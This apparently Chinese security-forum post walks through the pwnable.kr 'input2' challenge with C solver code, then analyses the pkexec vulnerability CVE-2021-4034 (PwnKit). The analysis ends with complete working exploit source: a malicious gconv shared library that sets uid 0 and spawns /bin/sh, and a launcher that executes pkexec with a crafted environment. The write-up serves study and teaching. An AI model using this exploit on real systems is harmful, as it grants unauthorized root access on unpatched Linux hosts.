首页
社区
课程
招聘
[原创]pwnable.kr - input2 & pkexec(CVE-2021-4034)漏洞
2023-4-11 23:42 10675

[原创]pwnable.kr - input2 & pkexec(CVE-2021-4034)漏洞

2023-4-11 23:42
10675

pwnable.kr - input2 & pkexec(CVE-2021-4034)漏洞

1 input2 分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
 
int main(int argc, char* argv[], char* envp[]){
    printf("Welcome to pwnable.kr\n");
    printf("Let's see if you know how to give input to program\n");
    printf("Just give me correct inputs then you will get the flag :)\n");
 
    // argv
    if(argc != 100) return 0;
    if(strcmp(argv['A'],"\x00")) return 0;
    if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
    printf("Stage 1 clear!\n");
 
    // stdio
    char buf[4];
    read(0, buf, 4);
    if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
    read(2, buf, 4);
        if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
    printf("Stage 2 clear!\n");
 
    // env
    if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
    printf("Stage 3 clear!\n");
 
    // file
    FILE* fp = fopen("\x0a", "r");
    if(!fp) return 0;
    if( fread(buf, 4, 1, fp)!=1 ) return 0;
    if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
    fclose(fp);
    printf("Stage 4 clear!\n");
 
    // network
    int sd, cd;
    struct sockaddr_in saddr, caddr;
    sd = socket(AF_INET, SOCK_STREAM, 0);
    if(sd == -1){
        printf("socket error, tell admin\n");
        return 0;
    }
    saddr.sin_family = AF_INET;
    saddr.sin_addr.s_addr = INADDR_ANY;
    saddr.sin_port = htons( atoi(argv['C']) );
    if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
        printf("bind error, use another port\n");
            return 1;
    }
    listen(sd, 1);
    int c = sizeof(struct sockaddr_in);
    cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
    if(cd < 0){
        printf("accept error, tell admin\n");
        return 0;
    }
    if( recv(cd, buf, 4, 0) != 4 ) return 0;
    if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
    printf("Stage 5 clear!\n");
 
    // here's your flag
    system("/bin/cat flag");
    return 0;
}

分为5个stage,需要依次解决

1.1 argv

 

命令行执行程序调用的是execve系统调用,其函数原型如下所示,第一个参数是运行程序文件名,第二个参数是argv[],第三个参数是envp[].同时,检测的是main函数的argcargv.

1
2
3
4
int execve(const char *filename, char *const argv[],
                  char *const envp[]);
 
int main( int argc, char *argv[ ] ) { /* */ }

main函数的第一个参数argc表示的是命令行参数个数。argv则是命令行参数 argv[0]= filename

1
2
3
4
5
// argv
    if(argc != 100) return 0;
    if(strcmp(argv['A'],"\x00")) return 0;
    if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
    printf("Stage 1 clear!\n");
  1. argc == 100
  2. argv['A'] == '\x00'
  3. argv['B'] == '\x20\x0a\x0d'

翻译一下:

1
2
3
4
5
char *argv[101] = {"/home/input2/input", [1 ... 99] = "A", NULL};
argv['A'] = "\x00";
argv['B'] = "\x20\x0a\x0d";
 
execve("/home/input2/input",argv,NULL);

1.2 stdio

1
2
3
4
5
6
7
// stdio
    char buf[4];
    read(0, buf, 4);
    if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
    read(2, buf, 4);
        if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
    printf("Stage 2 clear!\n");
1
ssize_t read(int fd, void *buf, size_t count);

read() attempts to read up to count bytes from file descriptor fd into the buffer starting at buf.

1
int memcmp(const void *s1, const void *s2, size_t n);

the memcmp() function compares the first n bytes (each interpreted as unsigned char) of the memory areas s1 and s2.

 

即:

  1. 从标准输入流读取字符串写入内存,和\x00\x0a\x00\xff比较。
  2. 从标准错误流读取字符串写入内存和\x00\x0a\x02\xff比较。

fd = 0 很好解决,stdin,直接输入即可;fd = 2的输入不是很好解决,但是pwntools提供了对应的接口,如果没有pwntools,应该怎么实现?

  1. dup函数可以实现IO重定向
  2. 使用open函数可以获取到一个fd,将字符串写入文件

因此有:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
 
int main() {
    int fd1 = open("./stdin", O_RDONLY);
    int fd2 = open("./stderr", O_RDONLY);
 
    dup2(fd1, 0); // 将文件描述符fd1重定向到标准输入
    dup2(fd2, 2); // 将文件描述符fd2重定向到标准错误
 
    close(fd1);
    close(fd2);
 
    char *argv[101] = {"/home/input2/input", [1 ... 99] = "A", NULL};
    argv['A'] = "\x00";
    argv['B'] = "\x20\x0a\x0d";
 
    execve("/home/input2/input",argv,NULL);
    return 0;
}

1.3 env

1
2
3
// env
    if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
    printf("Stage 3 clear!\n");

上述execve函数已经讲过,因此直接添加即可:

1
2
char *env[2] = {"\xde\xad\xbe\xef=\xca\xfe\xba\xbe", NULL};
execve("/home/input/input",argv,env);

1.4 file

1
2
3
4
5
6
7
// file
    FILE* fp = fopen("\x0a", "r");
    if(!fp) return 0;
    if( fread(buf, 4, 1, fp)!=1 ) return 0;
    if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
    fclose(fp);
    printf("Stage 4 clear!\n");

基本文件流操作:

1
2
3
FILE* fp = fopen("\x0a","w");
fwrite("\x00\x00\x00\x00",4,1,fp);
fclose(fp);

需要注意的是,能写入的目录只有/tmp,如何才能读取到想要的文件是需要考虑一下的。

1.5 network

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// network
    int sd, cd;
    struct sockaddr_in saddr, caddr;
    sd = socket(AF_INET, SOCK_STREAM, 0);
    if(sd == -1){
        printf("socket error, tell admin\n");
        return 0;
    }
    saddr.sin_family = AF_INET;
    saddr.sin_addr.s_addr = INADDR_ANY;
    saddr.sin_port = htons( atoi(argv['C']) );
    if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
        printf("bind error, use another port\n");
            return 1;
    }
    listen(sd, 1);
    int c = sizeof(struct sockaddr_in);
    cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
    if(cd < 0){
        printf("accept error, tell admin\n");
        return 0;
    }
    if( recv(cd, buf, 4, 0) != 4 ) return 0;
    if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
    printf("Stage 5 clear!\n");
  1. saddr.sin_port = htons( atoi(argv['C']) ); 监听端口通过环境变量获取
  2. 通过socket接收到的内容是\xde\xad\xbe\xef
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
argv['C'] = "10010";
 
int sockfd;
struct sockaddr_in server;
sockfd = socket(AF_INET,SOCK_STREAM,0);
if ( sockfd < 0){
    perror("Cannot create the socket");
    exit(1);
}
server.sin_family = AF_INET;
server.sin_addr.s_addr = inet_addr("pwnable.kr");
server.sin_port = htons(55555);
if ( connect(sockfd, (struct sockaddr*) &server, sizeof(server)) < 0 ){
    perror("Problem connecting");
    exit(1);
}
char buf[4] = "\xde\xad\xbe\xef";
write(sockfd,buf,4);
close(sockfd);

需要注意的是,最后一步由于远程防火墙问题,pwntools是连不上去的,只有提交到本地之后才可以,另外,由于我们的目录在/tmp,而读取的flag并不在,需要想办法获取对应的内容,一个好的方法是软连接。

2 总结 & pkexec(CVE-2021-4034)浅析

本道题包含的知识点比较多文件IO,进程通信,网络通信均有涉及,如果对此不是很了解建议翻阅CSAPP相关章节。

 

另在整理本题时想到一个比较简单的漏洞和本题有一定相似性,借此把之前的简单分析也放出来,可以看看真实漏洞和习题的异同。

2.1 DIff信息



 

结论:

  1. 增加了argc < 1的校验
  2. 修改了argv[n]的检测逻辑 ,if argv[n] != null then argv[n] = s.

问题:

  1. 什么情况下argc 会小于1 ?
  2. 什么情况下 argv == null ?

2.2 execve systemcall & argc,argv,envp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/* argc.c */
 
#include <stdio.h>
#include <unistd.h>
int main (int argc, char **argv) {
    printf("argc: %d\n", argc);
    for (int i = 0; i < argc; i++)
    {
        if (argv[i] != NULL)
        {
            printf("argv[%d]: %s\n", i, argv[i]);
        } else {
            printf("argv[%d]: NULL\n", i);
        }
    }
    return 0;
}

如果执行 argc 1 2 3 4 5
得到结果是:

1
2
3
4
5
6
7
8
{~/pkexec-CVE-2021-4034} greetings, earthling [33.059kb]$ ☞ ./argc 1 2 3 4 5
argc: 6
argv: ./argc
argv: 1
argv: 2
argv: 3
argv: 4
argv: 5
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/* execve.c */
#include <stdio.h>
#include <unistd.h>
int main () {
 
    char* const argv[] = {
        "AAAA1111",
        "BBBB2222",
        "CCCC3333",
        NULL
    };
    char* const envp[] = {
        "DDDD3333",
        "EEEE4444",
        "FFFF5555",
        NULL
    };
    // return execve("./argc", {NULL}, {NULL});
    return execve("./argc", argv, envp);
}

如果执行execve("./argc", NULL, NULL)得到的结果是:

1
2
xiaochen {~/pkexec-CVE-2021-4034} greetings, earthling [33.059kb]$ ☞ ./execve
argc: 0

如果将argc.cfor (int i = 0; i < argc; i++)改为 for (int i = 0; i < 8; i++) 执行argc 1 2 3 4 5结果是

1
2
3
4
5
6
7
8
9
10
{~/pkexec-CVE-2021-4034} greetings, earthling [33.059kb]$ ☞ ./argc 1 2 3 4
argc: 5
argv[0]: ./argc
argv[1]: 1
argv[2]: 2
argv[3]: 3
argv[4]: 4
argv[5]: NULL
argv[6]: USER=xiaochen
argv[7]: __CFBundleIdentifier=com.microsoft.VSCode

后面的结果是什么?

 

如果设定argv和envp参数,执行execve.c得到的结果是:

1
2
3
4
5
6
7
8
9
10
{~/pkexec-CVE-2021-4034} greetings, earthling [33.059kb]$ ☞ ./execve
argc: 3
argv[0]: AAAA1111
argv[1]: BBBB2222
argv[2]: CCCC3333
argv[3]: NULL
argv[4]: DDDD3333
argv[5]: EEEE4444
argv[6]: FFFF5555
argv[7]: NULL

execve系统调用中连续的参数为argc argv 以及 envp

 

如下图所示:

1
2
3
4
5
|---------+---------+-----+------------|---------+---------+-----+------------|
| argv[0] | argv[1] | ... | argv[argc] | envp[0] | envp[1] | ... | envp[envc] |
|----|----+----|----+-----+-----|------|----|----+----|----+-----+-----|------|
V         V                V           V         V                V
"program" "-option"           NULL      "value" "PATH=name"          NULL

结论:
如果存在应用,直接使用argv[1]而未对参数进行校验,那么如果此时使用execve执行命令 传递参数为NULL,*那么此时:

  1. argc = 0
  2. 应用程序会错误读取envp[0]作为对应的argv[1],即存在 out-of-bounds argv[1] = envp[0]

可以查看一篇slide

 

小结:

  1. 目前已知信息:pkexec存在越界读envp作为argv的可能性
    提权?

2.3 suid权限代表着什么

  1. 如果普通用户执行具有suid权限应用比如passwd,那么其efftive id = root,real id = user. 即具有suid权限应用可以被普通用户启动,并且运行权限会被修改为root。
    那么如果想办法使用环境变量启动一个bash,这个bash就能具有root权限,可利用环境变量有哪些?
    LD_PRELOAD
    看起来很简单?直接使用LD_PRELOAD是否可行?

  2. NO

    1
    2
    3
    4
    5
    6
    7
    /* env.c */
    #include <stdio.h>
     
    int main() {
        system("env");
        return 0;
    }
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    #!/bin/bash
     
    export GCONV_PATH=AAAA0001
    export GETCONF_DIR=AAAA0002
    export HOSTALIASES=AAAA0003
    export LD_AUDIT=AAAA0004
    export LD_DEBUG=AAAA0005
    export LD_DEBUG_OUTPUT=AAAA0006
    export LD_DYNAMIC_WEAK=AAAA0007
    export LD_HWCAP_MASK=AAAA0008
    export LD_LIBRARY_PATH=AAAA0009
    export LD_ORIGIN_PATH=AAAA0010
    export LD_PRELOAD=AAAA0011
    export LD_PROFILE=AAAA0012
    export LD_SHOW_AUXV=AAAA0013
    export LD_USE_LOAD_BIAS=AAAA0014
    export LOCALDOMAIN=AAAA0015
    export LOCPATH=AAAA0016
    export MALLOC_TRACE=AAAA0017
    export NIS_PATH=AAAA0018
    export NLSPATH=AAAA0019
    export RESOLV_HOST_CONF=AAAA0020
    export RES_OPTIONS=AAAA0021
    export TMPDIR=AAAA0022
    export TZDIR=AAAA0023
     
    export PATH=AAAA1001:/usr/bin
    export SHELL=AAAA1002
    export CHARSET=AAAA1003
    export BBBB=AAAA1004

    结论:环境变量中,不安全的环境变量不会被引入

    那么如何把shell写进入呢?

漏洞发现者提出了一种巧妙的方法

1
2
3
4
5
The answer to our question comes from pkexec's complexity: to print an
error message to stderr, pkexec calls the GLib's function g_printerr()
(note: the GLib is a GNOME library, not the GNU C Library, aka glibc);
for example, the functions validate_environment_variable() and
log_message() call g_printerr() (at lines 126 and 408-409):
1
2
3
4
5
6
7
8
88 log_message (gint     level,
 89              gboolean print_to_stderr,
 90              const    gchar *format,
 91              ...)
 92 {
...
125   if (print_to_stderr)
126     g_printerr ("%s\n", s);
1
2
3
4
5
6
7
8
383 validate_environment_variable (const gchar *key,
384                                const gchar *value)
385 {
...
406           log_message (LOG_CRIT, TRUE,
407                        "The value for the SHELL variable was not found the /etc/shells file");
408           g_printerr ("\n"
409                       "This incident has been reported.\n");
  1. g_printerr()正常情况下是为了以UTF-8编码格式打印错误信息。
  2. 如果环境变量中的CHARSET != UTF-8,它同样能够以其他编码方式打印错误信息。(CHARSET 环境变量不属于不安全环境变量)
  3. g_printerr()会调用glibc的iconv_open()函数将UTF-8格式的信息转为其他格式。

  4. 为了转换格式,iconv_open()会调用一个共享库函数。

  5. 正常情况下,找到系统提供的gconv-modules文件,然后从中拿到需要的共享库函数。
  6. 之后会调用对应文件中的gconv()函数和gconv_init()函数。

  7. 但是通过环境变量GCONV_PATH 可以强制指定iconv_open()读取某一个特定的共享库

  8. 问题:GCONV_PATH是不安全函数,不会被加载到程序中。

  9. pkexec可以将GCONV_PATH环境变量重新载入。 为什么?

到目前位置所知道的信息:

  1. pkexec可以将envp错误识别为argv
  2. pkexec使用的g_printerr()会使用iconv_open()加载某一个共享库识别其他字符,并且可以通过GCONV_PATH环境变量控制共享库的路径。
  3. pkexec具有suid权限

2.4 POC分析

到这里,基本上就已经明确了所有步骤:

  1. 构造执行shell的文件,编译为so文件
  2. 向pkexec写入环境变量,控制GCONV_PATH,使得shell可以被链接到程序上
  3. 使pkexec能够运行错误输出函数g_printerr(),触发具有shell的so

回到源码,分析调用链。

  1. 在534行 进入循环,n从1开始便利for (n = 1; n < (guint) argc; n++)
  2. 在610行 会将argv[1]取出,path指向它 path = g_strdup (argv[n]);
  3. 在629行 对path参数校验,不是以/开头,进去判断居于
  4. 在632行 将path传递给s s = g_find_program_in_path (path);g_find_program_in_path()是 Glib函数,作用在 PATH 环境变量的目录中搜索一个名为path的文件。
  5. 在639行 argv[n] = path = s
  6. 在670行 if (!validate_environment_variable (key, value))会对环境变量进行合法性校验,此时如果报错会调用g_printerr()
  7. 在702行会对环境变量进行清除操作 if (clearenv () != 0)

假设存在环境变量 PATH=name,如果name存在,并且name目录中有一个名为path的文件,传递给envp[0]。
如果PATH=name=.并且有一个目录name=.,此目录中有一个shell.so:.,那么这个shell.so:.会被传递给argv[1]->envp[0]

 

如果在开始,使用execve()执行pkexec,并且传递第一个参数为NULL,那么 在第二步,一开始读取的argv[1] 实际上是envp[0].
并且后续会找到一个可执行文件传递给s,继而传递给argv[1],注意argv[1]指向的实际上是第一个环境变量。
通过这种方式,就能修改掉第一个环境变量。

2.5 利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// pwnkit.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
void gconv(void) {
}
 
void gconv_init(void *step)
{
        char * const args[] = { "/bin/sh", NULL };
        char * const environ[] = { "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin", NULL };
        setuid(0);
        setgid(0);
        execve(args[0], args, environ);
        exit(0);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// exp.c
#include <unistd.h>
 
int main(int argc, char **argv)
{
    char * const args[] = {
        NULL
    };
    char * const environ[] = {
        "pwnkit.so:.",
        "PATH=GCONV_PATH=.",
        "SHELL=/lol/i/do/not/exists",
        "CHARSET=PWNKIT",
        "GIO_USE_VFS=",
        NULL
    };
    return execve("/usr/bin/pkexec", args, environ);
}

构造环境变量如上图,按POC所叙述,

  1. 首先会将pwnkit.so:.传递给g_find_program_in_path()函数,在环境变量中PATH的目录GCONV_PATH=.中寻找pwnkit.so:.,最后找到的以PATH目录为起始位置的路径是GCONV_PATH=./pwnkit.so:.,
  2. 这个绝对路径会被写入envp[0]
  3. 此时系统中具有异常的环境变量GCONV_PATH=./pwnkit.so:.
  4. 利用SHELL环境变量构造报错,调用g_printer()函数,
  5. 此时由于CHARSET != UTF8 所以会调用iconv_open()函数。
  6. 由于上面设置了GCONV_PATH所以此时会将./pwnkit.so错误的作为库函数加载并执行。

    参考

    https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt

[培训]内核驱动高级班,冲击BAT一流互联网大厂工 作,每周日13:00-18:00直播授课

最后于 2023-4-12 09:56 被安和桥南编辑 ,原因: 找了下之前的参考文献
收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回